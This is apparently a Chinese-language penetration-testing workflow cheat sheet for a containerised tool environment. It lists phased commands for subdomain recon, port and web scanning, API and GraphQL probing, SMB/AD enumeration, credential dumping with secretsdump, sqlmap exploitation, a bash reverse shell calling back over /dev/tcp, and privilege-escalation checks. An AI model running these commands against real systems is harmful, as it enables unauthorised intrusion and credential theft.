lielingai/zhishi/pentest

zhishi env up pentest
zhishi env open <id>       # 或 docker exec -it <container> bash

/workspace/<target>/
  intel/      # 被动情报原始产出（子域清单/证书/泄露语料/邮箱模式）
  recon/      # 分诊后资产（归属确认+置信度标签+隔离区清单）
  enum/       # 枚举产出（httpx 活资产/端口/URL 分类/参数清单）
  findings/   # 深析结论（成立/不成立/存疑 + 证据文件路径）
  exploit/    # 利用脚本与入口证据

# ① 被动情报：子域采集与活资产收敛（被动优先，不碰目标）
subfinder -d <target> -silent -timeout 30 > intel/subfinder.txt
curl -fsS "https://crt.sh/?q=%25.<target>&output=json" | jq -r '.[].name_value' | sed 's/\*\.//' | sort -u > intel/crtsh.txt
cat intel/*.txt | sort -u > intel/all_subs.txt
dig RANDOMSTRING123.<target> +short   # 通配符检查：解析了则全部存活结果存疑
httpx -silent -l intel/all_subs.txt -threads 50 -rate-limit 2 -status-code -tech-detect -title -o enum/alive.txt
 
# ② 归属分诊 + 假阳性过滤（软404对照/置信度三级/隔离区）→ recon/
 
# ③ 攻击面建模：URL 分类 + 参数发现
arjun -i enum/backend_urls.txt -o enum/arjun_params.json
katana -u http://<target> -o enum/urls.txt
 
# ④ 逐点深析：漏洞确认（过入口四问门）→ findings/
 
# ⑤ 入口利用链 → exploit/
 
# ⑥ 持久化 + 痕迹登记 + 死路记录 → research_log

# ① 侦察:全端口 + 服务指纹(长扫描走 env_bg,别堵一次性命令)
nmap -sV -sC -p- <target> -oN recon/nmap-full.txt
 
# ② web 枚举:目录/子域/参数（SecLists 已内置 Discovery/Web-Content 子集）
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt
 
# ③ 漏洞模板扫描 + JS/端面分析
nuclei -u http://<target> -severity medium,high,critical
katana -u http://<target> -o urls.txt          # 爬虫拿端点
katana -u http://<target> -jc | jsluice stdin  # JS 里的 URL/secret(jsluice 未装时见下降级路径)
retire --path /tmp/js/                          # JS 库已知漏洞
 
# ④ API 分析
kr scan http://<target>/api -w routes-small.kite   # kiterunner:API 路由爆破
clairvoyance -o schema.json http://<target>/graphql # GraphQL introspection 绕过
graphql-cop -t http://<target>/graphql              # GraphQL 常见误配
 
# ⑤ SMB/AD 枚举
nxc smb <target> -u '' -p '' --shares
enum4linux-ng -A <target>
secretsdump.py domain/user@<target>            # impacket 套件之一
 
# ⑥ SQLi 探测与利用
sqlmap -u "http://<target>/param?id=1" --batch --level=2
 
# ⑦ 动态页面/需要 JS 渲染的验证（环境内 chromium headless-shell）
python3 - <<'EOF'
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
    b = p.chromium.launch()
    print(b.new_page().goto("http://<target>").title())
    b.close()
EOF
 
# ⑧ 拿 shell:反向连接回本环境
# 本环境:  nc -lvnp 4444     (env_bg 后台监听)
# 目标:    bash -i >& /dev/tcp/<本环境IP>/4444 0>&1
 
# ⑨ 提权信息收集
sudo -l; find / -perm -4000 2>/dev/null; cat /etc/crontab